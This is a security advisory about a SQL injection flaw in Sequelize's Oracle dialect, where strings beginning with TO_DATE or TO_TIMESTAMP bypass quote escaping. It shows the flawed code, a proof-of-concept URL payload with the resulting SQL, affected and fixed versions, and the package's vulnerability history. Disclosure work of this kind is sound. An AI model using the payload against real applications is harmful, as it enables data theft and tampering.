Sequelize: SQL Injection (Oracle DB)
Summary
SQL Injection is possible with strings only if dialect is set to oracle.
The vulnerability was confirmed on Sequelize v6.37.3.
Details
The escape function defined in sql-string.js does not escape quotes if the value starts with TO_TIMESTAMP or TO_DATE.
} else if (dialect === 'oracle' && typeof val === 'string') {
if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) {
return val;
}
val = val.replace(/'/g, "''");
}
PoC
Suppose the application has the following code:
var result = await models.Student.findOne({
where: {
firstName: req.query.firstName
}
});
An attacker can inject arbitrary sql expressions.
http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--
The resulted SQL will be:
SELECT ... WHERE "Student"."firstName" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY;
Impact
Data theft and tampering.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | sequelize | < 6.37.4 | 6.37.4 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-89- Platform
- npm
- Package
sequelize- Disclosed
- 03.08.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-v8fg-2rw7-q452 - CC BY 4.0
Vulnerability history: sequelize
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 18
- First → latest
- 10.2017 08.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 8
- High 7
- Medium 3
Disclosures per year
- 2017: 1
- 2018: 0
- 2019: 9
- 2020: 2
- 2021: 0
- 2022: 0
- 2023: 4
- 2024: 0
- 2025: 0
- 2026: 2
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Sequelize: SQL Injection (Oracle DB) this entry
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